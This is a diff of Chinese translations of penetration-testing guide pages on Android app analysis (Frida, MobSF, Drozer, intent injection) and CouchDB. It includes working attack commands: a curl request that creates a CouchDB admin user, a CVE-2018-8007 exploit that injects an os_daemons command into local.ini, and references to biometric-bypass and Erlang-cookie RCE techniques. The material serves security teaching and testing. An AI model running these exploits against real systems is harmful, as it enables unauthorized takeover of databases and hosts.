@ -428,16 +428,16 @@ SSL 钉扎是一种安全措施,应用程序将服务器的证书与存储在
如果您想对 Android 应用程序进行渗透测试,您需要知道如何使用 Frida。
- 学习如何使用 Frida[**Frida 教程**](frida-tutorial/index.html)
- 一些用于 Frida 操作的“GUI” [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection 非常适合自动化使用 Frida[**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- 一些与 Frida 相关的“GUI”操作[**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection 是自动化使用 Frida 的好工具[**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- 您可以在这里找到一些很棒的 Frida 脚本:[**https://codeshare.frida.re/**](https://codeshare.frida.re)
- 尝试通过加载 Frida 绕过反调试/反 Frida 机制,如在[https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)中所示(工具[linjector](https://github.com/erfur/linjector-rs)
### **内存转储 - Fridump**
检查应用程序是否在内存中存储不应存储的敏感信息,如密码或助记符。
检查应用程序是否在内存中存储不应存储的敏感信息,如密码或助记符。
使用[**Fridump3**](https://github.com/rootbsd/fridump3),您可以转储应用程序的内存:
使用[**Fridump3**](https://github.com/rootbsd/fridump3)可以转储应用程序的内存:
```bash
# With PID
python3 fridump3.py -u <PID>
@ -468,40 +468,40 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
```
### **背景图像**
当您将应用程序置于后台时Android 会存储应用程序的 **快照**,因此当它恢复到前台时,它会在应用程序加载之前开始加载图像,这样看起来应用程序加载得更快。
当您将应用程序置于后台时Android 会存储应用程序的 **快照**,因此当它恢复到前台时,它会在应用程序之前开始加载图像,看起来像是应用程序加载得更快。
然而,如果这个快照包含 **敏感信息**,那么有权限访问快照的人可能会 **窃取这些信息**(请注意,您需要 root 权限才能访问它)。
快照通常存储在: **`/data/system_ce/0/snapshots`**
Android 提供了一种方法来 **通过设置 FLAG_SECURE** 布局参数来防止截图捕获。使用此标志,窗口内容被视为安全,防止其出现在截图中或在不安全的显示器上查看。
Android 提供了一种方法来 **通过设置 FLAG_SECURE** 布局参数来防止屏幕截图捕获。使用此标志,窗口内容被视为安全,防止其出现在屏幕截图中或在不安全的显示器上查看。
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
### **Android 应用分析器**
此工具可以帮助您在动态分析过程中管理不同的工具:[https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
此工具可以帮助您在动态分析期间管理不同的工具:[https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
### Intent 注入
### 意图注入
开发人员经常创建代理组件,如活动、服务和广播接收器,这些组件处理这些 Intents 并将其传递给 `startActivity(...)``sendBroadcast(...)` 等方法,这可能存在风险。
开发人员经常创建代理组件,如活动、服务和广播接收器,处理这些意图并将其传递给 `startActivity(...)``sendBroadcast(...)` 等方法,这可能存在风险。
危险在于允许攻击者通过错误引导这些 Intents 来触发未导出的应用组件或访问敏感内容提供者。一个显著的例子是 `WebView` 组件通过 `Intent.parseUri(...)` 将 URL 转换为 `Intent` 对象,然后执行它们,这可能导致恶意 Intent 注入。
危险在于允许攻击者通过错误引导这些意图来触发未导出的应用组件或访问敏感内容提供者。一个显著的例子是 `WebView` 组件通过 `Intent.parseUri(...)` 将 URL 转换为 `Intent` 对象,然后执行它们,这可能导致恶意意图注入。
### 重要要点
- **Intent 注入** 类似于网络的开放重定向问题。
- **意图注入** 类似于网络的开放重定向问题。
- 利用涉及将 `Intent` 对象作为额外参数传递,这可能被重定向以执行不安全的操作。
- 它可能会将未导出的组件和内容提供者暴露给攻击者。
- `WebView` 的 URL 到 `Intent` 的转换可能促进意外操作。
- 它可将未导出的组件和内容提供者暴露给攻击者。
- `WebView` 的 URL 到 `Intent` 的转换可能促进意外操作。
### Android 客户端侧注入及其他
您可能对这种类型的漏洞有所了解。您必须特别小心 Android 应用中的这些漏洞:
- **SQL 注入:** 在处理动态查询或内容提供者时,确保使用参数化查询。
- **JavaScript 注入 (XSS)** 验证任何 WebViews 的 JavaScript 和插件支持是否已禁用(默认禁用)。 [更多信息请查看](webview-attacks.md#javascript-enabled)。
- **本地文件包含:** WebViews 应禁用对文件系统的访问(默认启用) - `(webview.getSettings().setAllowFileAccess(false);)`。 [更多信息请查看](webview-attacks.md#javascript-enabled)。
- **JavaScript 注入 (XSS)** 验证任何 WebViews 的 JavaScript 和插件支持是否已禁用(默认情况下禁用)。 [更多信息在这里](webview-attacks.md#javascript-enabled)。
- **本地文件包含:** WebViews 应禁用对文件系统的访问(默认情况下启用) - `(webview.getSettings().setAllowFileAccess(false);)`。 [更多信息在这里](webview-attacks.md#javascript-enabled)。
- **持久性 Cookie** 在多个情况下,当 Android 应用结束会话时Cookie 并未被撤销,甚至可能被保存到磁盘。
- [**Cookie 中的安全标志**](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
@ -527,7 +527,7 @@ MobSF 还允许您进行 **diff/比较** 分析,并集成 **VirusTotal**(您
### 使用 MobSF 进行辅助动态分析
**MobSF** 对于 **Android****动态分析** 也非常有帮助,但在这种情况下,您需要在主机上安装 MobSF 和 **genymotion**(虚拟机或 Docker 不会工作。_注意您需要 **先在 genymotion 中启动虚拟机**,然后 **再启动 MobSF。**_\
**MobSF** **Android****动态分析** 中也非常有用,但在这种情况下,您需要在主机上安装 MobSF 和 **genymotion**(虚拟机或 Docker 不会工作。_注意您需要 **先在 genymotion 中启动虚拟机**,然后 **再启动 MobSF。**_\
**MobSF 动态分析器** 可以:
- **转储应用程序数据**URLs、日志、剪贴板、您拍摄的屏幕截图、由 "**Exported Activity Tester**" 拍摄的屏幕截图、电子邮件、SQLite 数据库、XML 文件和其他创建的文件)。所有这些都是自动完成的,除了屏幕截图,您需要在想要截图时按下,或者您需要按 "**Exported Activity Tester**" 以获取所有导出活动的屏幕截图。
@ -541,14 +541,14 @@ MobSF 还允许您进行 **diff/比较** 分析,并集成 **VirusTotal**(您
默认情况下,它还将使用一些 Frida 脚本来 **绕过 SSL 钉扎**、**根检测** 和 **调试器检测**,并 **监控有趣的 API**。\
MobSF 还可以 **调用导出活动**,抓取它们的 **屏幕截图****保存** 到报告中。
**开始** 动态测试,请按绿色按钮:“**开始仪器化**”。按下“**Frida 实时日志**”以查看 Frida 脚本生成的日志,按下“**实时 API 监视器**”以查看所有调用的挂钩方法、传递的参数和返回值(在按下“开始仪器化”后出现)。\
MobSF 还允许您加载自己的 **Frida 脚本**(要将您的 Frida 脚本的结果发送到 MobSF请使用 `send()` 函数)。它还具有 **多个预编写的脚本**,您可以加载(您可以在 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` 中添加更多),只需 **选择它们**,按“**加载**”并按“**开始仪器化**”(您将能够在“**Frida 实时日志**”中看到该脚本的日志)。
**开始** 动态测试,请按绿色按钮:“**开始仪器化**”。按下“**Frida 实时日志**”以查看 Frida 脚本生成的日志,按下“**实时 API 监视器**”以查看所有调用的挂钩方法、传递的参数和返回值(在按下“开始仪器化”后出现)。\
MobSF 还允许您加载自己的 **Frida 脚本**(要将您的 Frida 脚本的结果发送到 MobSF请使用函数 `send()`)。它还具有 **多个预编写的脚本**,您可以加载(您可以在 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` 中添加更多),只需 **选择它们**,按“**加载**”并按“**开始仪器化**”(您将能够在“**Frida 实时日志**”中看到该脚本的日志)。
![](<../../images/image (419).png>)
此外,您还有一些辅助 Frida 功能:
- **枚举加载的类**:它将打印所有加载的类
- **枚举加载的类**:它将打印所有加载的类
- **捕获字符串**:它将打印在使用应用程序时捕获的所有字符串(非常嘈杂)
- **捕获字符串比较**:可能非常有用。它将 **显示正在比较的两个字符串** 以及结果是 True 还是 False。
- **枚举类方法**:输入类名(如 "java.io.File"),它将打印该类的所有方法。
@ -559,7 +559,7 @@ MobSF 还允许您加载自己的 **Frida 脚本**(要将您的 Frida 脚本
**Shell**
Mobsf 还为您提供一个带有一些 **adb** 命令、**MobSF 命令** 和常见 **shell** **命令** 的 shell位于动态分析页面的底部。一些有趣的命令
Mobsf 还为您提供一个带有一些 **adb** 命令、**MobSF 命令** 和常见 **shell** **命令** 的 shell位于动态分析页面的底部。一些有趣的命令
```bash
help
shell ls
@ -570,8 +570,8 @@ receivers
```
**HTTP工具**
当http流量被捕获时您可以在“**HTTP(S) Traffic**”底部看到捕获流量的丑陋视图,或在“**Start HTTPTools**”绿色按钮中看到更好的视图。从第二个选项中,您可以**发送**捕获的**请求**到像Burp或Owasp ZAP这样的**代理**。\
要做到这一点_打开Burp -->_ _关闭拦截 --> 在MobSB HTTPTools中选择请求_ --> 按“**Send to Fuzzer**” --> _选择代理地址_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
当http流量被捕获时您可以在“**HTTP(S) Traffic**”底部看到捕获流量的丑陋视图,或在“**Start HTTPTools**”绿色按钮中看到更好的视图。从第二个选项中,您可以**发送** **捕获的请求**到像Burp或Owasp ZAP这样的**代理**。\
为此_打开Burp -->_ _关闭拦截 --> 在MobSB HTTPTools中选择请求_ --> 按“**Send to Fuzzer**” --> _选择代理地址_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
完成MobSF的动态分析后您可以按“**Start Web API Fuzzer**”来**模糊http请求**并寻找漏洞。
@ -582,20 +582,20 @@ receivers
> adb shell settings put global http_proxy :0
> ```
### 使用Inspeckage进行辅助动态分析
### 使用Inspeckage辅助动态分析
您可以从[**Inspeckage**](https://github.com/ac-pm/Inspeckage)获取该工具。\
该工具将使用一些**Hooks**来让您了解**在进行动态分析时应用程序中发生了什么**。
### [Yaazhini](https://www.vegabird.com/yaazhini/)
这是一个**用于执行静态分析的优秀工具带有GUI**
这是一个**用于执行带GUI的静态分析的好工具**
![](<../../images/image (741).png>)
### [Qark](https://github.com/linkedin/qark)
该工具旨在查找多个**与安全相关的Android应用程序漏洞**,无论是在**源代码**还是**打包的APK**中。该工具还**能够创建可部署的“概念验证”APK**和**ADB命令**,以利用一些发现的漏洞(暴露的活动、意图、tapjacking...。与Drozer一样测试设备无需root。
该工具旨在查找多个**与安全相关的Android应用程序漏洞**,无论是在**源代码**还是**打包的APK**中。该工具还**能够创建可部署的“概念验证”APK**和**ADB命令**,以利用一些发现的漏洞(暴露的活动、意图、点击劫持...。与Drozer一样测试设备无需root。
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -619,7 +619,7 @@ SUPER 是一个可以在 Windows、MacOS X 和 Linux 上使用的命令行应用
所有规则都集中在一个 `rules.json` 文件中,每个公司或测试人员都可以创建自己的规则来分析他们需要的内容。
从 [下载页面](https://superanalyzer.rocks/download.html) 下载最新的二进制文件。
从 [download page](https://superanalyzer.rocks/download.html) 下载最新的二进制文件。
```
super-analyzer {apk_file}
```
@ -662,23 +662,23 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
它能够:
- 使用不同工具提取 Java 和 Smali 代码
- 使用以下工具分析 APK[smalisca](https://github.com/dorneanu/smalisca)、[ClassyShark](https://github.com/google/android-classyshark)、[androbugs](https://github.com/AndroBugs/AndroBugs_Framework)、[androwarn](https://github.com/maaaaz/androwarn)、[APKiD](https://github.com/rednaga/APKiD)
- 使用以下工具分析 APK [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- 使用正则表达式从 APK 中提取私人信息。
- 分析 Manifest。
- 使用以下工具分析发现的域[pyssltest](https://github.com/moheshmohan/pyssltest)[testssl](https://github.com/drwetter/testssl.sh) 和 [whatweb](https://github.com/urbanadventurer/WhatWeb)
- 使用以下工具分析发现的域: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) 和 [whatweb](https://github.com/urbanadventurer/WhatWeb)
- 通过 [apk-deguard.com](http://www.apk-deguard.com) 进行 APK 的去混淆。
### Koodous
用于检测恶意软件:[https://koodous.com/](https://koodous.com)
用于检测恶意软件: [https://koodous.com/](https://koodous.com)
## 混淆/去混淆代码
请注意,具体取决于您用于混淆代码的服务和配置。秘密可能会被混淆或不被混淆。
请注意,具体取决于您用于混淆代码的服务和配置。秘密可能会或可能被混淆。
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
来自 [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** 是一个开源命令行工具,用于缩小、优化和混淆 Java 代码。它能够优化字节码并检测和删除未使用的指令。ProGuard 是自由软件,按照 GNU 通用公共许可证第 2 版分发。
来自 [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** 是一个开源命令行工具,用于缩小、优化和混淆 Java 代码。它能够优化字节码并检测和删除未使用的指令。ProGuard 是免费软件,按照 GNU 通用公共许可证第 2 版分发。
ProGuard 作为 Android SDK 的一部分分发,并在以发布模式构建应用程序时运行。
@ -686,7 +686,7 @@ ProGuard 作为 Android SDK 的一部分分发,并在以发布模式构建应
在 [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) 找到去混淆 APK 的逐步指南。
(来自该指南)我们上次检查时Dexguard 的操作模式是:
(来自该指南)我们最后检查时Dexguard 的操作模式是:
- 将资源加载为 InputStream
- 将结果传递给继承自 FilterInputStream 的类以进行解密;
@ -696,7 +696,7 @@ ProGuard 作为 Android SDK 的一部分分发,并在以发布模式构建应
### [DeGuard](http://apk-deguard.com)
**DeGuard 逆转 Android 混淆工具执行的混淆过程。这使得进行多种安全分析成为可能,包括代码检查和预测库。**
**DeGuard 逆转 Android 混淆工具执行的混淆过程。这使得进行多种安全分析成为可能,包括代码检查和预测库。**
您可以将混淆的 APK 上传到他们的平台。
@ -706,11 +706,11 @@ ProGuard 作为 Android SDK 的一部分分发,并在以发布模式构建应
### [Simplify](https://github.com/CalebFenton/simplify)
它是一个 **通用的 Android 去混淆器。** Simplify **虚拟执行应用程序** 以理解其行为,然后 **尝试优化代码** 使其表现相同,但更易于人类理解。每种优化类型都是简单和通用的,因此无论使用何种特定类型的混淆都无关紧要。
它是一个 **通用的 Android 去混淆器。** Simplify **虚拟执行应用程序** 以理解其行为,然后 **尝试优化代码** 使其表现相同,但更易于人类理解。每种优化类型都简单且通用,因此无论使用何种特定类型的混淆都无关紧要。
### [APKiD](https://github.com/rednaga/APKiD)
APKiD 提供有关 **APK 是如何制作的** 信息。它识别许多 **编译器**、**打包器**、**混淆器** 和其他奇怪的东西。它是 Android 的 [_PEiD_](https://www.aldeid.com/wiki/PEiD)。
APKiD 提供有关 **APK 制作方式** 的信息。它识别许多 **编译器**、**打包工具**、**混淆器** 和其他奇怪的东西。它是 Android 的 [_PEiD_](https://www.aldeid.com/wiki/PEiD)。
### 手动
@ -722,7 +722,7 @@ APKiD 提供有关 **APK 是如何制作的** 信息。它识别许多 **编译
AndroL4b 是一个基于 ubuntu-mate 的 Android 安全虚拟机,包含来自不同安全极客和研究人员的最新框架、教程和实验室,用于逆向工程和恶意软件分析。
## 参考资料
## 参考
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) 这是一个很好的资源列表

View File

@ -13,13 +13,13 @@
## Installation
在您的主机上安装 Drozer Client。 从 [最新版本](https://github.com/mwrlabs/drozer/releases) 下载。
在您的主机上安装 Drozer Client。可以从 [最新版本](https://github.com/mwrlabs/drozer/releases) 下载。
```bash
pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
pip install service_identity
```
下载并安装来自 [latest releases](https://github.com/mwrlabs/drozer/releases) 的 drozer APK。目前是 [this](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk)。
下载并安装来自[最新版本](https://github.com/mwrlabs/drozer/releases)的drozer APK。目前是[这个](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk)。
```bash
adb install drozer.apk
```
@ -39,24 +39,24 @@ drozer console connect
```
## 有趣的命令
| **命令** | **描述** |
| ---------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Help MODULE** | 显示所选模块的帮助 |
| **list** | 显示当前会话中可以执行的所有 drozer 模块的列表。这会隐藏您没有适当权限运行的模块。 |
| **shell** | 在设备上启动一个交互式 Linux shell处于 Agent 的上下文中。 |
| **clean** | 删除 drozer 在 Android 设备上存储的临时文件。 |
| **load** | 加载包含 drozer 命令的文件并按顺序执行它们。 |
| **module** | 从互联网查找并安装额外的 drozer 模块。 |
| **unset** | 删除 drozer 传递给其生成的任何 Linux shell 的命名变量。 |
| **set** | 在变量中存储一个值,该值将作为环境变量传递给 drozer 生成的任何 Linux shell。 |
| **shell** | 在设备上启动一个交互式 Linux shell处于 Agent 的上下文中。 |
| **run MODULE** | 执行一个 drozer 模块 |
| **exploit** | Drozer 可以创建在设备上执行的漏洞。 `drozer exploit list` |
| **payload** | 漏洞需要一个有效载荷。 `drozer payload list` |
| **命令** | **描述** |
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **Help MODULE** | 显示所选模块的帮助 |
| **list** | 显示当前会话中可以执行的所有 drozer 模块的列表。这会隐藏您没有适当权限运行的模块。 |
| **shell** | 在设备上以 Agent 的上下文启动一个交互式 Linux shell。 |
| **clean** | 删除 drozer 在 Android 设备上存储的临时文件。 |
| **load** | 加载包含 drozer 命令的文件并按顺序执行它们。 |
| **module** | 从互联网查找并安装额外的 drozer 模块。 |
| **unset** | 删除 drozer 传递给其生成的任何 Linux shell 的命名变量。 |
| **set** | 将值存储在变量中,该变量将作为环境变量传递给 drozer 生成的任何 Linux shell。 |
| **shell** | 在设备上以 Agent 的上下文启动一个交互式 Linux shell。 |
| **run MODULE** | 执行一个 drozer 模块 |
| **exploit** | Drozer 可以创建在设备上执行的漏洞。 `drozer exploit list` |
| **payload** | 漏洞需要一个有效载荷。 `drozer payload list` |
### 包
通过部分名称过滤找到 **包****名称**
通过部分名称查找 **包****名称**
```bash
dz> run app.package.list -f sieve
com.mwr.example.sieve
@ -96,7 +96,7 @@ Attack Surface:
is debuggable
```
- **活动**: 也许你可以启动一个活动并绕过某种授权,这应该阻止你启动它。
- **内容提供者**: 也许你可以访问私有数据或利用某漏洞SQL注入或路径遍历
- **内容提供者**: 也许你可以访问私有数据或利用某漏洞SQL注入或路径遍历
- **服务**:
- **可调试**: [了解更多](#is-debuggeable)
@ -117,11 +117,11 @@ com.mwr.example.sieve.PWList
```
**开始活动**
也许你可以启动一个活动并绕过某种授权,这种授权应该阻止你启动它。
也许您可以启动一个活动并绕过某种授权,这种授权应该阻止您启动它。
```bash
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
```
您还可以通过 **adb** 启动导出的活动:
您还可以 **adb** 启动导出的活动:
- PackageName 是 com.example.demo
- Exported ActivityName 是 com.example.test.MainActivity
@ -138,7 +138,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
```html
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
```
在代码中**检查**\*\*`handleMessage`\*\*函数,该函数将**接收****消息**
在代码中**检查**`handleMessage`函数,该函数将**接收**消息:
![](<../../../images/image (82).png>)
@ -164,7 +164,7 @@ app.service.stop Stop Service
![](<../../../images/image (1079).png>)
请注意,您将首先发送 "_msg.what_" 中的数据,然后是 "_msg.arg1_" 和 "_msg.arg2_",您应该检查代码 **使用了哪些信息** 以及在哪里。\
使用 `--extra` 选项,您可以发送由 "_msg.replyTo" _ 解释的内容,使用 `--bundle-as-obj` 您可以创建一个包含提供的详细信息的对象。
使用 `--extra` 选项,您可以发送由 "_msg.replyTo" _ 解释的内容,使用 `--bundle-as-obj`您可以创建一个包含提供的详细信息的对象。
在以下示例中:
@ -179,7 +179,7 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m
### 广播接收器
**在Android基本信息部分您可以看到什么是广播接收器**。
**在 Android 基本信息部分,您可以看到什么是广播接收器**。
在发现这些广播接收器后,您应该**检查它们的代码**。特别注意**`onReceive`**函数,因为它将处理接收到的消息。

View File

@ -6,7 +6,7 @@
**CouchDB** 是一个多功能且强大的 **文档导向数据库**,通过 **键值映射** 结构在每个 **文档** 中组织数据。文档中的字段可以表示为 **键/值对、列表或映射**,提供了数据存储和检索的灵活性。
存储在 CouchDB 中的每个 **文档** 都被分配一个 **唯一标识符** (`_id`)。此外,对数据库所做的每次修改和保存都会分配一个 **修订号** (`_rev`)。这个修订号允许高效的 **跟踪和管理更改**,便于在数据库中轻松检索和同步数据。
存储在 CouchDB 中的每个 **文档** 都被分配一个 **唯一标识符** (`_id`)。此外,对数据库所做的每次修改和保存都会分配一个 **修订号** (`_rev`)。这个修订号允许高效的 **变更跟踪和管理**,便于在数据库中轻松检索和同步数据。
**默认端口:** 5984(http)6984(https)
```
@ -24,13 +24,13 @@ msf> use auxiliary/scanner/couchdb/couchdb_enum
```
curl http://IP:5984/
```
这会向已安装的 CouchDB 实例发出 GET 请求。回复应该类似于以下内容之一:
这会向已安装的CouchDB实例发出GET请求。回复应该类似于以下内容之一
```bash
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```
> [!NOTE]
> 请注意,如果访问 couchdb 的根目录时收到 `401 Unauthorized`,并显示类似以下内容:`{"error":"unauthorized","reason":"Authentication required."}` **您将无法访问** 横幅或任何其他端点。
> 请注意,如果访问 couchdb 的根目录时收到 `401 Unauthorized`,并且内容类似于 `{"error":"unauthorized","reason":"Authentication required."}` **您将无法访问** 横幅或任何其他端点。
### 信息枚举
@ -38,10 +38,10 @@ curl http://IP:5984/
- **`/_active_tasks`** 正在运行的任务列表,包括任务类型、名称、状态和进程 ID。
- **`/_all_dbs`** 返回 CouchDB 实例中所有数据库的列表。
- \*\*`/_cluster_setup`\*\* 返回节点或集群的状态,按照集群设置向导。
- **`/_cluster_setup`** 返回节点或集群的状态,按照集群设置向导。
- **`/_db_updates`** 返回 CouchDB 实例中所有数据库事件的列表。使用此端点需要 `_global_changes` 数据库的存在。
- **`/_membership`** 显示作为 `cluster_nodes` 的集群节点。字段 `all_nodes` 显示此节点所知道的所有节点,包括属于集群的节点。
- **`/_scheduler/jobs`** 复制作业列表。每个作业描述将包括源和目标信息、复制 ID、最近事件的历史记录以及其他一些信息
- **`/_scheduler/jobs`** 复制作业列表。每个作业描述将包括源和目标信息、复制 ID、最近事件的历史记录以及其他一些内容
- **`/_scheduler/docs`** 复制文档状态列表。包括有关所有文档的信息,即使在 `completed``failed` 状态下。对于每个文档,它返回文档 ID、数据库、复制 ID、源和目标以及其他信息。
- **`/_scheduler/docs/{replicator_db}`**
- **`/_scheduler/docs/{replicator_db}/{docid}`**
@ -50,8 +50,8 @@ curl http://IP:5984/
- **`/_node/{node-name}/_system`** \_system 资源返回一个 JSON 对象,包含正在运行的服务器的各种系统级统计信息。您可以使用 \_\_`_local` 作为 {node-name} 来获取当前节点信息。
- **`/_node/{node-name}/_restart`**
- **`/_up`** 确认服务器已启动、正在运行并准备响应请求。如果 [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) 为 `true``nolb`,则该端点将返回 404 响应。
- \*\*`/_uuids`\*\* 从 CouchDB 实例请求一个或多个通用唯一标识符 (UUID)。
- \*\*`/_reshard`\*\* 返回已完成、失败、正在运行、已停止和总作业的计数,以及集群上重新分片的状态。
- **`/_uuids`** 从 CouchDB 实例请求一个或多个通用唯一标识符 (UUID)。
- **`/_reshard`** 返回已完成、失败、正在运行、已停止和总作业的计数,以及集群上重新分片的状态。
可以提取更多有趣的信息,如此处所述:[https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
@ -59,13 +59,13 @@ curl http://IP:5984/
```
curl -X GET http://IP:5984/_all_dbs
```
如果该请求 **返回401未授权**,那么您需要一些 **有效凭据** 来访问数据库:
如果该请求**返回401未授权**,那么您需要一些**有效凭据**来访问数据库:
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
为了找到有效的凭据,你可以**尝试** [**暴力破解服务**](../generic-hacking/brute-force.md#couchdb)。
这是一个couchdb **响应** 的**示例**,当你有**足够的权限**列出数据库时(这只是一个数据库列表):
这是一个couchdb **响应** 的**示例**,当你有**足够的权限**列出数据库时(这只是一个数据库列表):
```bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
@ -110,7 +110,7 @@ curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
[**关此漏洞的更多信息**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html)。
[**此漏洞的更多信息在这里**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html)。
## CouchDB RCE
@ -118,7 +118,7 @@ curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[]
示例 [来自这里](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)。
在 CouchDB 文档中,特别是在有关集群设置的部分 ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)),讨论了 CouchDB 在集群模式下使用的端口。提到在独立模式下,使用端口 `5984`。此外,端口 `5986` 用于节点本地 API重要的是Erlang 需要 TCP 端口 `4369` 用于 Erlang 端口映射守护进程 (EPMD),以促进 Erlang 集群内的节点通信。此设置形成了一个网络,其中每个节点与其他所有节点相互连接。
在 CouchDB 文档中,特别是在有关集群设置的部分 ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)),讨论了 CouchDB 在集群模式下使用的端口。提到与独立模式一样,端口 `5984` 被使用。此外,端口 `5986` 用于节点本地 API重要的是Erlang 需要 TCP 端口 `4369` 用于 Erlang 端口映射守护进程 (EPMD),以促进 Erlang 集群内的节点通信。此设置形成了一个网络,其中每个节点与其他所有节点相互连接。
关于端口 `4369` 的一个重要安全建议被强调。如果此端口在互联网上或任何不受信任的网络上可访问系统的安全性在很大程度上依赖于一个称为“cookie”的唯一标识符。这个 cookie 充当了一个保护措施。例如在给定的进程列表中可能会观察到名为“monster”的 cookie指示其在系统安全框架中的操作角色。
```
@ -127,13 +127,13 @@ root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
对于那些有兴趣了解如何在Erlang系统中利用这个“cookie”进行远程代码执行RCE的人提供了一个专门的部分供进一步阅读。它详细说明了如何以未经授权的方式利用Erlang cookies 来控制系统。您可以[**在这里探索关于滥用Erlang cookies进行RCE的详细指南**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)。
对于那些有兴趣了解如何在Erlang系统中利用这个“cookie”进行远程代码执行RCE的人提供了一个专门的部分供进一步阅读。它详细说明了如何以未经授权的方式利用Erlang cookies 来控制系统。您可以[**在这里探索关于滥用Erlang cookies 进行RCE的详细指南**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)。
### **通过修改local.ini利用CVE-2018-8007**
### **通过修改 local.ini 利用 CVE-2018-8007**
示例[来自这里](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)。
最近披露的漏洞CVE-2018-8007影响了Apache CouchDB研究表明利用该漏洞需要对`local.ini`文件的写入权限。尽管由于安全限制不直接适用于初始目标系统,但进行了修改以授予对`local.ini`文件的写访问权限以供探索。下面提供了详细的步骤和代码示例,演示了该过程。
最近披露的漏洞CVE-2018-8007影响了Apache CouchDB研究表明利用该漏洞需要对`local.ini`文件的写权限。尽管由于安全限制,无法直接应用于初始目标系统,但进行了修改以授予对`local.ini`文件的写访问权限以供探索。下面提供了详细的步骤和代码示例,演示了该过程。
首先,通过确保`local.ini`文件可写来准备环境,通过列出权限进行验证:
```bash
@ -143,7 +143,7 @@ root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
```
要利用该漏洞,执行一个 curl 命令,针对 `local.ini` 中的 `cors/origins` 配置。这会在 `[os_daemons]` 部分注入一个新的来源以及其他命令,旨在执行任意代码:
要利用该漏洞,执行一个 curl 命令,目标是 `local.ini` 中的 `cors/origins` 配置。这会在 `[os_daemons]` 部分注入一个新的来源以及额外的命令,旨在执行任意代码:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
@ -156,25 +156,25 @@ root@canape:/home/homer/etc# diff local.ini local.ini.bk
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
